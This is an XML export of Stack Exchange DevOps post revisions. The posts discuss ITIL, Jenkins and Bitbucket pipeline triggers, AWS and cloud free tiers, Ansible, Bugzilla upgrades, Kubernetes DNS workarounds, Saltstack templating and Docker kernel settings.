  <row Id="36349" PostHistoryTypeId="5" PostId="1536" RevisionGUID="80cb846a-a3e5-47e6-8fbe-3a653e32fb14" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="# Yes but&#xA;&#xA;It is hard to deny James and Tensibai's sentiments that we are hard to define.  I've probably offended a few job interviewers by pointing out DevOps means whatever you want it to mean at the time.  Vendors and the press in computing are not very motivated by correctness or conformity so any popular term will get muddied in a similar fashion.&#xA;&#xA;# There is ITIL&#xA;&#xA;But that doesn't mean some people aren't trying to create a common language for us to talk about operations and processes.  While I haven't seen anyone applying it in the real world, there is [ITIL](https://en.wikipedia.org/wiki/ITIL).  As Wikipedia tells us:&#xA;&#xA;&gt; ITIL, formally an acronym for Information Technology Infrastructure Library, is a set of detailed practices for IT service management (ITSM) that focuses on aligning IT services with the needs of business. In its current form (known as ITIL 2011), ITIL is published as a series of five core volumes, each of which covers a different ITSM lifecycle stage. Although ITIL underpins ISO/IEC 20000 (previously BS 15000), the International Service Management Standard for IT service management, there are some differences between the ISO 20000 standard and the ITIL framework.&#xA;&gt;&#xA;&gt; ITIL describes processes, procedures, tasks, and checklists which are not organization-specific, but can be applied by an organization for establishing integration with the organization's strategy, delivering value, and maintaining a minimum level of competency. It allows the organization to establish a baseline from which it can plan, implement, and measure. It is used to demonstrate compliance and to measure improvement.&#xA;&gt;&#xA;&gt; Since July 2013, ITIL has been owned by AXELOS, a joint venture between Capita and the Cabinet Office. AXELOS licenses organisations to use the ITIL intellectual property, accredits licensed examination institutes, and manages updates to the framework. Organizations that wish to implement ITIL internally do not require this license.&#xA;&#xA;All of that sounds really exciting, but because of the licensing there's no way for me to build open source software based on this.  If you [search for ITIL in github](https://github.com/search?utf8=%E2%9C%93&amp;q=itil&amp;type=) the results are very sparse.  Until the licensing model changes I think we're stuck with this state of affairs.  Unless W3C or the IETF takes up this sort of challenge there won't be a standard which is available to the community." ContentLicense="CC BY-SA 4.0" />
  <row Id="36350" PostHistoryTypeId="5" PostId="1525" RevisionGUID="f4f9629f-5a6c-4ffb-aeed-b438fa3e04e3" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Below is the requirement needed to achieve using the Jenkins Pipeline and i am new bee into Jenkins Pipeline.&#xA;&#xA; - After completing development work and pushing his changes to&#xA;   Bitbucket the user creates a pull request.&#xA; - In order to approve a pull request we require at least one successful&#xA;   Jenkins build. Thereby we would like to get only the build result of&#xA;   the code checked in for the pull request.&#xA; - When a pull request is created/updated Jenkins shall be triggered&#xA;   automatically for real continuous integration.&#xA; - The build result shall be reported back to Bitbucket.&#xA;&#xA;**Used Stash Pull Request Builder and stash Notifier for the above process which is working for Normal Freestyle Project.**&#xA;&#xA;We need to migrate the similar functionality using Jenkins pipeline, So have created the jenkins job as below. &#xA;&#xA;[![enter image description here][1]][1]&#xA;&#xA;The pipeline script to checks out the PR branch and trigger build is as below&#xA;&#xA;    node {&#xA;        stage('Checkout') {         &#xA;            checkout(&#xA;            [&#xA;                $class: 'GitSCM',&#xA;                extensions: [               &#xA;                    [$class: 'CleanCheckout'],              &#xA;                ],&#xA;                branches: [&#xA;                    [name: '']&#xA;                ], &#xA;                userRemoteConfigs: &#xA;                [[&#xA;                    credentialsId: 'id', &#xA;                    url: 'repourl.git'&#xA;                    refspec: ('+refs/pull-requests/*/from:refs/remotes/origin/pr/*/from'), &#xA;                    branch: ('origin/pr/${pullRequestId}/from')&#xA;                ]]&#xA;            ])&#xA;        }&#xA;    &#xA;        stage('Build') {    &#xA;            sh 'make'&#xA;        }&#xA;        stage('notify') {&#xA;        step([$class: 'StashNotifier'])&#xA;            try {&#xA;                // Do stuff&#xA;                currentBuild.result = 'SUCCESS'     &#xA;            } catch(err) {&#xA;                currentBuild.result = 'FAILED'&#xA;            }&#xA;        step([$class: 'StashNotifier'])&#xA;       }&#xA;&#xA;    }&#xA;&#xA;Though i have done the above configuration when i create/update the PR, the build is not automatically triggered in jenkins. I guess the notification from stash to jenkins did not happen because we specify `&quot;origin/${pullRequestId}/from&quot;` in free style project. But i do not have that option to specify in pipeline job.&#xA;&#xA;Tried few alternatives as below.&#xA;&#xA;Instead of stash Pull Request Builder i tried with just &quot;Poll SCM&quot; project and specified cron job to trigger as `&quot;H/2 * * * *&quot;`. Upon commits the job is triggered at jenkins. It means that for every commit the jenkins job gets triggered. **But Jenkins should trigger the job when PR is created/updated.**&#xA;&#xA;I am missing something here certainly which could be basic and new to jenkins pipeline.&#xA;&#xA;Any hint on achieving the desired behavior?&#xA;&#xA;  [1]: https://i.stack.imgur.com/bLLH0.jpg" ContentLicense="CC BY-SA 4.0" />
  <row Id="36351" PostHistoryTypeId="5" PostId="1312" RevisionGUID="672e76f6-03b8-489a-b78b-c25c6e34cb85" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="We use Jenkins and have the Bitbucket plugin installed. We've got multiple repos and use webhooks for lots of jobs coming from our `foo` repo. No problems there, the jobs go off without a hitch. Now however we want to start running a couple jobs via webhook from our `bar` repo. &#xA;&#xA;### The Problem ###&#xA;The default behavior here is that as soon as we attach a webhook to `bar`, commits to either repo will trigger any job with polling. I know we can hardcode in logic in each job to either only build when commits match a certain pattern, or ignore any commits matching a pattern.&#xA;&#xA;Given the number of jobs we have that currently use polling this would be insanely unideal to have to code in to make it backwards compatible, not to mention potentially doing this again if we start running unit tests on even more repos in the future. &#xA;&#xA;### The Ideal Solution ###&#xA;I'm hoping I might be missing some way to differentiate between commits made from `foo` vs `bar` on the Bitbucket side, rather than needing to change anything in each Jenkins job. Ideally, there's some way to change the webhook so each repo gets its own url. Does this, or some other blanket solution, exist? (I will accept &quot;no&quot; as an answer if that's the case)." ContentLicense="CC BY-SA 4.0" />
  <row Id="36352" PostHistoryTypeId="5" PostId="1159" RevisionGUID="c4af53c9-d12c-4082-9f91-a9cff8a273c3" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="You can try built-in tools that provide by AWS.&#xA;&#xA;AWS calls them **Management Tools**.&#xA;&#xA;&#xA;[![enter image description here][1]][1]&#xA;**Amazon Inspector**&#xA;&#xA;&gt; ### Automated security assessment service to help improve the security and compliance of applications deployed on AWS.&#xA;&gt;&#xA;&gt; Amazon Inspector is an automated security assessment service that helps improve the security and compliance of applications deployed on AWS. Amazon Inspector automatically assesses applications for vulnerabilities or deviations from best practices. After performing an assessment, Amazon Inspector produces a detailed list of security findings prioritized by level of severity. These findings can be reviewed directly or as part of detailed assessment reports which are available via the Amazon Inspector console or API.&#xA;&gt;&#xA;&gt; [— AWS Inspector][2]&#xA;&#xA;&#xA;**Amazon Web Services (AWS) Monitoring With Nagios**&#xA;&#xA;&gt; Implementing effective Amazon Web Services monitoring with Nagios&#xA;&gt; offers the following benefits:&#xA;&gt; &#xA;&gt; Increased server, services, and application availability Fast&#xA;&gt; detection of network outages Fast detection of cloud computing&#xA;&gt; environment problems&#xA;&gt; &#xA;&gt; [— Nagios][3]&#xA;&#xA;Some other tools:&#xA;&#xA;- [Scalr][4]&#xA;&#xA;- [Management Tools by AWS][5]&#xA;&#xA;&#xA;  [1]: https://i.stack.imgur.com/noDIT.png&#xA;  [2]: https://aws.amazon.com/inspector/?nc2=h_m1&#xA;  [3]: https://www.nagios.com/solutions/aws-monitoring/&#xA;  [4]: https://www.scalr.com&#xA;  [5]: https://aws.amazon.com/products/management/" ContentLicense="CC BY-SA 4.0" />
  <row Id="36353" PostHistoryTypeId="5" PostId="1003" RevisionGUID="42e81f75-a19a-40b2-9b9a-4c4dfe8a3094" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="There are quite a few services that offer 'free tiers' of some description to help new developers get started with a cloud platform without the cost you've mentioned.&#xA;&#xA;[AWS](https://aws.amazon.com/free/) have quite a generous free tier:&#xA;&#xA;&gt; ## Always Free&#xA;&gt; - 1 million free Lambda requests/month&#xA;&gt; - 25 GB of DynamoDB storage&#xA;&gt; - 20,000 free requests to the AWS Key Management Service&#xA;&gt; - 1 million requests to Amazon SQS&#xA;&gt; - various other services&#xA;&gt;&#xA;&gt; ## 12 Months Free&#xA;&gt; - 750 hours of EC2 computing time (t2.micro)&#xA;&gt; - 5 GB of Amazon S3 storage&#xA;&gt; - 250,000 messages on AWS IoT&#xA;&gt; - various others&#xA;&#xA;Azure offer US$200 (or £150) of [free credit](https://azure.microsoft.com/en-gb/offers/ms-azr-0044p/) to use *in any way you like* within one month (but they expire after a month):&#xA;&#xA;&gt; You receive £150 of Azure credits with the Free Trial. The choice is now yours as to how you use your Azure credits. Use them on any Azure service based on your needs, including, Virtual Machines, Websites, Cloud Services, Mobile Services, Storage, SQL Database, Content Delivery Network, HDInsight, Media Services and many more.&#xA;&gt;&#xA;&gt; Use the pricing calculator to estimate how much you could use with £150 of Azure credits. Here are a few usage scenarios that consume no more than £150 per month:&#xA;&gt;&#xA;&gt; - Running 2 small Virtual Machine instances for the entire month, or&#xA;&gt; - Storing 800 GB of data in Storage, or&#xA;&gt; - Developing and testing a web application using Cloud Services, with 3 web roles and 2 worker roles on medium instances, for 10 hours a day, 5 days a week, or&#xA;&gt; - Running two S2 SQL databases for the entire month&#xA;&#xA;&#xA;[Google Cloud give 12 months with $300 of credit, and have some services which are 'always free'](https://cloud.google.com/free/), broadly similar to Amazon's offering.&#xA;&#xA;If you're careful about your timing, you could also use a [spot instance](https://aws.amazon.com/ec2/spot/) (but [be careful that you're not paying more than the on-demand price!](https://devops.stackexchange.com/questions/893/why-is-the-aws-ec2s-spot-price-greater-than-the-on-demand-price)). Since spot instances can be terminated at any time if you're outbid, they may not be ideal for learning, as you might not be able to use the service exactly when you want it, but they are often *far* cheaper.&#xA;&#xA;Students can also claim *&quot;up to $110 in bonus AWS credits for a total of $75-$150&quot;* with the [GitHub Student Developer Pack](https://education.github.com/pack). Perhaps worth checking if your favourite cloud service has similar offers if you're eligible! &#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36354" PostHistoryTypeId="5" PostId="915" RevisionGUID="dcddf946-fb23-4d3e-854d-7d26c167df1f" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="## Short Version&#xA;&#xA;DevOps a combination of organisational culture, Agile/Lean ways of working and software automation that when applied to Systems Administration and Operations allows these functions to operate with the same level of Agility as Agile or Lean Development Teams.&#xA;&#xA;## Long Version&#xA;&#xA;The ideas behind DevOps came out of the Systems Administration, Operations and Agile communities, specifically, [Patrick Debois][1] gave a [presentation at Agile2008][2] entitled 'Agile Infrastructure' where he highlighted the disparity between the way the three functions within an organisation operate:&#xA;&#xA; 1. **Agile Development Teams** - Agile teams writing code.&#xA; 2. **Systems Administrations Teams** - Building infrastructure to run the software.&#xA; 3. **Operations Teams** - Supporting applications and infrastructure in Production/Live.&#xA;&#xA;Debois' proposal was to unify the three ways of working together, specifically moving Systems Administration teams and Operations teams from a [Waterfall Model][3] to an Agile Model.  To that end, Debois setup [DevOpsDays 2009 in Ghent, Belgium][4] inadvertently coining the phrase **DevOps**.&#xA;&#xA;The idea of DevOps resonated with the Authors of the VisibleOps series of books: Gene Kim, George Spafford and Kevin Behr; who went on to write [The Phoenix Project][5] and [The DevOps Handbook][6]. Both books explore how Agile and Lean can positively impact Systems Administration and Operations teams.&#xA;&#xA;  [1]: https://twitter.com/patrickdebois&#xA;  [2]: http://www.jedi.be/presentations/agile-infrastructure-agile-2008.pdf&#xA;  [3]: https://en.wikipedia.org/wiki/Waterfall_model&#xA;  [4]: https://legacy.devopsdays.org/events/2009-ghent/&#xA;  [5]: https://www.amazon.co.uk/Phoenix-Project-DevOps-Helping-Business-ebook/dp/B00AZRBLHO&#xA;  [6]: https://www.amazon.co.uk/DevOps-Handbook-World-Class-Reliability-Organizations-ebook/dp/B01M9ASFQ3" ContentLicense="CC BY-SA 4.0" />
  <row Id="36355" PostHistoryTypeId="5" PostId="6419" RevisionGUID="21882c66-0bae-4a78-bf4a-b1690cb3f3ee" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="EDIT&#xA;----------&#xA;Microsoft added a new hosted agent: `Hosted Windows 2019 with VS 2019`.&#xA;&#xA;So you should use this image to build for `windows-1809` or `windows-2019`&#xA;&#xA;Source : https://docs.microsoft.com/en-us/azure/devops/pipelines/agents/hosted?view=azure-devops&amp;tabs=yaml#use-a-microsoft-hosted-agent&#xA;&#xA;----------&#xA;# Old answer:&#xA;&#xA;FWIW, I ended up creating a windows server 2019 vm on azure to act as a build agent.&#xA;&#xA;Could not manage to build 2019 image in any of the hosted agent pools.&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36356" PostHistoryTypeId="5" PostId="6404" RevisionGUID="2259e1aa-668c-462b-9f1b-697f521f1035" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="i need to check more than 100 servers for the snapd package, but I don't like the output at all. I searched all day for different options without luck. Attached is the output of ansible-playbook. Any hints guys?  [![enter image description here][1]][1] &#xA;&#xA;```&#xA;---&#xA; - hosts: centos&#xA;   become: true&#xA;   tasks:&#xA;    - name: Check Hostname&#xA;      command: /usr/bin/hostname&#xA;&#xA;    - name: Check for package if is installed&#xA;      yum:&#xA;        list: snapd&#xA;      register: result&#xA;```&#xA;&#xA;For checking the package version I tried with the following playbook but Ansible doesn't like the syntax:&#xA;&#xA;```&#xA;---&#xA; - hosts: test2&#xA;   become: true&#xA;   tasks:&#xA;    - name: Check Hostname&#xA;      command: /usr/bin/hostname&#xA;&#xA;    - name: Check for package if is installed&#xA;      yum:&#xA;        list: snapd&#xA;      register: package_name_version&#xA;&#xA;    - name: set package version&#xA;      set_fact:&#xA;        package_name_version: &quot;{{ package_name_version.results|selectattr('yumstate','equalto','installed')|map(attribute='version')|list|first }}&quot;&#xA;```&#xA;&#xA;Thanks,&#xA;Juls&#xA;&#xA;  [1]: https://i.stack.imgur.com/eV6WZ.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="36357" PostHistoryTypeId="5" PostId="3184" RevisionGUID="887f2791-550c-44df-be7e-210ef87ce89e" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="[Shipit](https://github.com/shipitjs/shipit) is what you are looking for.&#xA;&#xA;&gt; Shipit is an automation engine and a deployment tool written for node / iojs.&#xA;&gt;&#xA;&gt; Shipit was built to be a Capistrano alternative for people who don't know ruby, or who experienced some issues with it. If you want to write tasks in JavaScript and enjoy the node ecosystem, Shipit is also for you.&#xA;&gt;&#xA;&gt; You can automate anything with Shipit but most of the time you will want to deploy your project using the Shipit deploy task." ContentLicense="CC BY-SA 4.0" />
  <row Id="36358" PostHistoryTypeId="5" PostId="3231" RevisionGUID="d92881b1-265a-4858-9a3c-7e72c873e890" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I am new to Ansible and was wondering about the capabilities of Ansible. Can Ansible alone be a complete CI-CD tool?&#xA;&#xA;Scenario that needs to be implemented:&#xA;&#xA;As soon as a developer perform a `git commit`, the build should be generated and placed some central server or maybe Amazon S3. This is a `JAR` file assuming a Java application. One can then download the build and deploy that build to the testing environment and after deployment invoke the automated test cases. Upon successful implementation of the test cases,one should be able to deploy this build onto the production environment in a rolling fashion. Note that one must not deploy this build every time, but it should be a discretionary power. I.e. even if during a day let us say, 5 builds were created and 3 of them passed the test cases, It should not go and deploy the builds on production. I should decide when to deploy the build, this could be a flag that I set to &quot;Go&quot; and then the deployment to production should take place.&#xA;&#xA;Points that I am apprehensive about Ansible's capability are:&#xA;&#xA;1. Will ansible be able to detect the `git commit` event. Is there a way my playbook to constantly poll the GIT server on a regular basis to detect any commits?&#xA;&#xA;2. Is it possible to create Build using just Ansible. (Can I use command module to just execute the build creation process(assuming there is some command to create the build and I was thinking of firing those command using the command module, maybe `maven` or `ant` command).&#xA;&#xA;    Kindly forgive me for my ignorance if there is no such thing. I have never done development and hence am complete beginner.&#xA;&#xA;3. How can I invoke automated test cases on the testing environment where the build was deployed (I am assuming a successful deploy on the stage environment).&#xA;&#xA;4. Can I capture the success or failure result? (It maybe be a suite of test cases and won't be an objective o/p as pass or fail.)&#xA;&#xA;5. Is there a way to achieve the discretion based deployment to production systems using Ansible?&#xA;&#xA;Note that I don't want to use Jenkins or any such tools for creation of builds or deployment to test environments .&#xA;&#xA;This may sound like a beginner question on DevOps, but I just wanted to assess the scope of Ansible as a CI tool. Is Jenkins (or any other variant) inevitable for achieving this? Or can people do away without using Jenkins.&#xA;&#xA;Also if someone can comment on what is the recommended way to achieve this pipeline." ContentLicense="CC BY-SA 4.0" />
  <row Id="36359" PostHistoryTypeId="5" PostId="3385" RevisionGUID="2ccf6ed3-2fa9-460b-b7b4-88c53be24165" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I would direct you to my post [Coupling docker registry and source control](https://devops.stackexchange.com/questions/3334/coupling-docker-registry-and-source-control/3342?noredirect=1#comment4866_3342) where dmaze answered from the official [forums.docker.com](https://forums.docker.com/t/coupling-docker-registry-with-scm/46199).  Commit hash and branch name or tags suffices.&#xA;&#xA;&gt;In your Dockerfile, use a LABEL to record the source of the build. That probably includes the commit hash from distributed source control (git, Mercurial), the branch name if relevant, any release tags if present, and possibly details like the timestamp of the last commit. docker history and docker inspect should be able to show these.&#xA;&gt;&#xA;&gt;When you docker push your images, push them at least twice, with the commit hash and with the branch name as the “version” part (quay.io/mycorp/imagename:123abc7, quay.io/mycorp/imagename:dmaze-test). If release tags are readily available, the CI system should push images with these tags too. &#xA;&#xA;We are currently using a combination of branch name/commit hash.  For us that seems to be enough.  timestamps while they are useful IMO just add clutter as they don't provide anything the commit hash doesn't.&#xA;&#xA;I agree with **030** regarding:&#xA;&gt;who should be the authority on tracking / incrementing a build version&#xA;&#xA;100% is responsibility of the CI to maintain such things, with proper communication between other teams." ContentLicense="CC BY-SA 4.0" />
  <row Id="36360" PostHistoryTypeId="5" PostId="3521" RevisionGUID="87b30f7e-a9c1-4b41-a4e9-94f0bf8da987" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="This is a similar problem I've been facing. And we're not the only ones it seems. GitLab just added a very interesting feature in their recent 10.5 release where you can pull external files into the pipeline.&#xA;&#xA;In their blog post, they had this to say:&#xA;&#xA;&gt; For many of our largest customers, the DevOps team is responsible for providing CI/CD pipelines to a large number of development teams throughout the organization. Previously, this was a painful process to manage. There wasn’t a scalable way to distribute reusable pipeline configuration which meant code needed to be manually copied between multiple .gitlab-ci.yml files in multiple projects. This was a labor-intensive and error-prone process. Additionally, it didn't provide adequate controls to ensure testing and deployment is consistently enforced for each repo.&#xA;&gt;&#xA;&gt; Starting with 10.5, you can now include external files in CI/CD pipeline definition. Included files can be either local (contained in the same repo) or remote (accessible via HTTP/HTTPS). Including local files allows a large and complex .gitlab-ci.yml to be broken up in to modular chunks that are easier to maintain.&#xA;&#xA;https://about.gitlab.com/2018/02/22/gitlab-10-5-released/#include-external-files-in-cicd-pipeline-definition&#xA;&#xA;This is probably the best way to approach it from a OOP perspective as well: modularize certain aspects of your builds and include it in downstream code.&#xA;&#xA;My peers working at another company do a similar approach with their Jenkins builds. They've essentially build on a 'makefile' for their builds that is based on templates and evaluates certain variables set in the Jenkins UI. Based on those variables, the code will then fetch (curl or git) 'module' files from a central 'builds' repository. It then uses all the modules to compile a single pipeline bash script and runs it.&#xA;&#xA;This allows central changes to be done to a single file, that all the builds inherit." ContentLicense="CC BY-SA 4.0" />
  <row Id="36361" PostHistoryTypeId="5" PostId="3598" RevisionGUID="9750a01a-4010-4d36-b1db-9e84b2a07b83" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="You have found a Kubernetes issue [#22770](https://github.com/kubernetes/kubernetes/issues/22770), where there is a workaround mentioned [here](https://github.com/kubernetes/helm/issues/1455) and it goes like follows:&#xA;&#xA;&gt;What you're experiencing is a known issue with k8s where for some operations it expects to be able to resolve your node names in the global DNS.&#xA;&gt;&#xA;&gt;And suggested a work around would be to:&#xA;&gt;&#xA;&gt;  - Add entries to /etc/hosts on the master mapping your hostnames to their public IPs&#xA;&gt;  - Install dnsmasq on the master (e.g. apt install -y dnsmasq)&#xA;&gt;  - Kill the k8s api server container on master (kubelet will recreate it)&#xA;&gt;  - Then systemctl restart docker (or reboot the master) for it to pick up the /etc/resolv.conf changes&#xA;&#xA;As last comment on the issue #22770 there is &#xA;&#xA;&gt;I can confirm that adding the names of the our nodes to /etc/hosts on the kubernetes master resolves this problem for us too :)&#xA;&#xA;, so there is not a fix in k8s coming in any upcoming version. At least from this particular ticket.&#xA;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="36362" PostHistoryTypeId="5" PostId="3644" RevisionGUID="273838fd-a738-4b30-8646-0b3d358012c7" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="A capture group is a [type of backreference](https://www.regular-expressions.info/refcapture.html). Saltstack, being python based, [uses the re.match object](https://docs.python.org/2/library/re.html) to do regular expression matching, which [appears to support backreferences](https://stackoverflow.com/questions/15163092/python-regex-backreference-a-matching-regex-group), so these backreferences are allowed.&#xA;&#xA;However, you be unable to pass the value of the backreference `\1` in the `- include_pat` field back to `- name` because the `- name` field is never processed by the `re.match` object. Even if it were, variable scope would prevent you from sharing the backreference between `re.match` calls.&#xA;&#xA;Instead, you will need to do one of the following:&#xA;&#xA; - Rename all the files in `- source` from `myfile.conf.template` to `myfile.conf`&#xA;&#xA; - Use cmd.run to do a [batch](https://blogs.technet.microsoft.com/heyscriptingguy/2013/11/22/use-powershell-to-rename-files-in-bulk/) file [rename](https://stackoverflow.com/questions/17271586/rename-multiple-files-in-cmd) after your `file.recurse` and add to your `file.recurse` an [onchanges](https://docs.saltstack.com/en/latest/ref/states/requisites.html#onchanges) pointed to a previous event in order to defeat the idempotency (that is, to prevent it from writing out the .template files every time salt runs). You will also be sure to use a [require](https://docs.saltstack.com/en/latest/ref/states/requisites.html#require) and `onchanges` in your cmd.run that references `copy_template`&#xA;&#xA;   This will have the unfortunate side-effect that you will never be able to update your jinja templates. You will only be able to deploy them the first time - at least not without first deleting what is there, and then re-writing and re-copying from the source.&#xA;&#xA; - Use `file.managed` for every template file.&#xA;&#xA;For example:&#xA;&#xA;    copy_template1:&#xA;      file.managed:&#xA;        - name: '{{ service_path }}\template1.conf'&#xA;        - template: jinja&#xA;        - source: {{ pillar['locations']['systemtoolsfolder'] }}\template1.conf.template&#xA;    copy_template2:&#xA;      file.managed:&#xA;        - name: '{{ service_path }}\template2.conf'&#xA;        - template: jinja&#xA;        - source: {{ pillar['locations']['systemtoolsfolder'] }}\template2.conf.template&#xA;    ...&#xA;    and so forth" ContentLicense="CC BY-SA 4.0" />
  <row Id="36363" PostHistoryTypeId="5" PostId="3676" RevisionGUID="516e9eb5-c7c0-422f-a8ce-c70dbce69f58" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I've just updated Bugzilla from 4.2 to 5.0 on our Centos 6 vps, using the tarball method:&#xA;&#xA;    bash$ cd /var/www/html&#xA;    bash$ wget https://ftp.mozilla.org/pub/mozilla.org/webtools/bugzilla-5.0.4.tar.gz&#xA;    bash$ tar xzvf bugzilla-5.0.4.tar.gz&#xA;    bash$ cd bugzilla-5.0.4&#xA;    bash$ cp ../bugzilla/localconfig* .&#xA;    bash$ cp -r ../bugzilla/data .&#xA;    bash$ cd ..&#xA;    bash$ mv bugzilla bugzilla.old&#xA;    bash$ mv bugzilla-5.0.4 bugzilla&#xA;&#xA;I'm getting the following error from `./checksetup.pl`:&#xA;&#xA;&gt; Can't locate parent.pm in @INC (@INC contains: . lib /usr/local/lib64/perl5 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib64/perl5 /usr/share/perl5) at Bugzilla/Constants.pm line 14.&#xA;&gt;&#xA;&gt; BEGIN failed--compilation aborted at Bugzilla/Constants.pm line 14.&#xA;&gt;&#xA;&gt; Compilation failed in require at ./checksetup.pl line 27.&#xA;&gt;&#xA;&gt; BEGIN failed--compilation aborted at ./checksetup.pl line 27.&#xA;&#xA;What did I do wrong and/or how to fix?" ContentLicense="CC BY-SA 4.0" />
  <row Id="36364" PostHistoryTypeId="5" PostId="3798" RevisionGUID="46ecd589-bd34-410d-8279-81c2ce1828e8" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="My Jenkins is affected by a known Jenkins [bug][1] where it will trigger jobs that have an SCM poll set if a change to the shared library happens. I can't have this, so I thought I would get the trigger info from inside the job and if the URL was from the library repo I would abort the build. This has proven to be extremely difficult to do.&#xA;&#xA;This doesn't work...&#xA;&#xA;    println (&quot;Cause: &quot; + currentBuild.causes[0])&#xA;&#xA;or &#xA;&#xA;    print currentBuild.rawBuild.getCause(hudson.triggers.SCMTrigger$SCMTriggerCause)&#xA;&#xA;or &#xA;&#xA;    def causes = currentBuild.rawBuild.getCauses()&#xA;    for (cause in causes) {&#xA;        print cause&#xA;    }&#xA;&#xA;&#xA;The first example barfs&#xA;&#xA;    org.jenkinsci.plugins.scriptsecurity.sandbox.RejectedAccessException: unclassified field org.jenkinsci.plugins.workflow.support.steps.build.RunWrapper causes&#xA;        at org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor.unclassifiedField(SandboxInterceptor.java:397)&#xA;        at org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor.onGetProperty(SandboxInterceptor.java:381)&#xA;&#xA;but doesn't allow me to whitelist it on the script security page.&#xA;&#xA;The last 2 print thing `hudson.triggers.SCMTrigger$SCMTriggerCause@3` but it seems the only thing I can do is call `getShortDescription()` and it prints `Started by an SCM change`.&#xA;&#xA;If you know how to print more information about an SCM trigger such as the URL please share =).&#xA;&#xA;  [1]: https://issues.jenkins-ci.org/browse/JENKINS-39615%20bug" ContentLicense="CC BY-SA 4.0" />
  <row Id="36365" PostHistoryTypeId="5" PostId="3891" RevisionGUID="4a79685c-9f44-4bd8-bde8-f463547f430a" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="Try the following as root:&#xA;&#xA;&#xA;* Edit the /etc/default/grub file and set the GRUB_CMDLINE_LINUX value as follows:&#xA;&#xA;  `GRUB_CMDLINE_LINUX=&quot;cgroup_enable=memory swapaccount=1&quot;`&#xA;&#xA;* Update GRUB.&#xA;&#xA;  `sudo update-grub` &#xA;&#xA;* Reboot your system.&#xA;&#xA;As per [this docker's documentation](https://docs.docker.com/install/linux/linux-postinstall/#your-kernel-does-not-support-cgroup-swap-limit-capabilities)." ContentLicense="CC BY-SA 4.0" />
  <row Id="36366" PostHistoryTypeId="5" PostId="3913" RevisionGUID="995fd1bb-171d-4032-8149-479cb1c15048" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="AWS has something built in called [cloudwatch alarms][1] that can handle the basics.&#xA;&#xA;You could also use a Lambda Function. Give it access to the ASG, and then have cloudwatch configured so once the min amount of traffic starts coming in it sends an [Event][2] to the Lambda. &#xA;&#xA;    {&#xA;      &quot;ASG&quot;: &quot;MyASGName&quot;&#xA;      &quot;Action&quot;: &quot;Start&quot;&#xA;    }&#xA;&#xA;And once the traffic goes below the min. &#xA;&#xA;    {&#xA;      &quot;ASG&quot;: &quot;MyASGName&quot;&#xA;      &quot;Action&quot;: &quot;Stop&quot;&#xA;    }&#xA;&#xA;You could also build on this over time to control Vertical and Horizontal scaling. &#xA;&#xA;EDIT: I actually prefer the Lambda. I always seem to run into these weird use cases where we can't shut down any of the instances, we have to do some math or investigation on which instances to shut down. In these situations a python lambda running boto3 is really helpful.&#xA;&#xA;  [1]:https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html&#xA;[2]: https://docs.aws.amazon.com/lambda/latest/dg/invoking-lambda-function.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="36367" PostHistoryTypeId="5" PostId="4159" RevisionGUID="80c07583-4d46-4176-b7f0-1f9ca3df5b7a" CreationDate="2020-06-18T08:28:10.803" UserId="-1" Comment="Commonmark migration" Text="I'm not very familiar with Jenkins on Windows, but I imagine your issue lies in the fact installing Jenkins on drives other than `C:\` are more difficult to deal with. Since Jenkins is not running, you'll have to configure `config.xml` by hand.&#xA;&#xA;Here's [a post on stackoverflow.com][1] that may help you. As they state, you'll probably need to find the **Workspace Root Directory** to `D:\Jenkins\${ITEM_FULL_NAME}\workspace` and **Build Record Root Directory** to `D:\Jenkins\${ITEM_FULL_NAME}\builds` (or whatever values are specific to your environment) in your `config.xml`.&#xA;&#xA;The post also mentions the *bubble help* info that is useful:&#xA;&#xA;&gt; This value may include the following variables:&#xA;&gt;&#xA;&gt; - `${JENKINS_HOME}` — Absolute path of the Jenkins home directory&#xA;&gt;&#xA;&gt; - `${ITEM_ROOTDIR}` — Absolute path of the directory where Jenkins stores the configuration and related metadata for a given job&#xA;&gt;&#xA;&gt; - `${ITEM_FULL_NAME}` — The full name of a given job, which may be slash-separated, e.g. foo/bar for the job bar in folder foo&#xA;&gt;&#xA;&gt; The value should normally include `${ITEM_ROOTDIR}` or `${ITEM_FULL_NAME}`, otherwise different jobs will end up sharing the same workspace.&#xA;&#xA;&#xA;  [1]: https://stackoverflow.com/questions/34854377/how-to-change-workspace-and-build-record-root-directory-on-jenkins" ContentLicense="CC BY-SA 4.0" />
